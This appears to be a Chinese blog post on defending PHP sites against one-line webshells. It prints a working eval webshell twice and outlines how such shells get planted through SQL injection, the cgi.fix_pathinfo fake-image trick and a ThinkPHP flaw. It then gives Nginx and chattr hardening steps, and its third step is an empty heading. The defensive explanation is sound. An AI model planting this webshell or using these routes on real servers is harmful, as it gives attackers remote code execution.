<?php @eval($_POST[value]);?>
php語言無需編譯,動態執行,我們不得不佩服它的開發效率。但正因為可以動態執行,才帶來了類似一句話木馬等安全問題。因為我們要十分警惕,否則,無論做的再好,都將“滿盤皆輸”。
首選,我們要先弄清楚,一句話木馬是如何被植入到系統的,基本存在通過一下幾種方式:
- 利用sql注入。sql注入可以通過MySQL pdo的預處理來解決。
- 利用配置上的漏洞,偽造一張圖片,其實是可執行的代碼,然后偽造一條地址,類似http://phpvim.net/foo.jpg/a.php。當 php.ini 中 cgi.fix_pathinfo = 1 時,PHP CGI 以 / 為分隔符號從后向前依次檢查如下路徑,直到找個某個存在的文件,如果這個文件是個非法的文件,so… 悲劇了~。所以對于使用php-fpm<0.6的務必關閉關閉該選項,設置 cgi.fix_pathinfo = 0。
- 利用php框架的漏洞,就比如之前thinkphp暴露出來的一樣,沒有對controller進行正則判斷,結果就被利用了,“黑客”利用該漏洞,傳輸一個函數名字,控制后臺執行該函數,如果該該函數為file_put_contents,一句話木馬:<?php @eval($_POST[value]);?>就很容易被植入到服務器上。剩下的就不用說了。
那么我們該怎么防范呢?其實無論我們有多小心,還是無法百分百確保安全。在這里我提供一種簡單有效的方法供大家參考。
第一步,固定PHP的訪問入口,如果是index.php,Nginx的配置如下:
#只允許index入口 location ~ .*/index.php { } #其它php文件入口直接拒絕訪問 location ~* .*.php { deny all; }
這樣可以保證,就算一句話木馬被植入了,它沒有執行的機會。
第二步,修改入口文件的屬性,保證入口文件不被篡改。
chattr +i index.php
第三部,PHP安全配置容易忽視的問題
以上供大家參考,不知道大家有沒有更好的解決辦法,歡迎一起討論~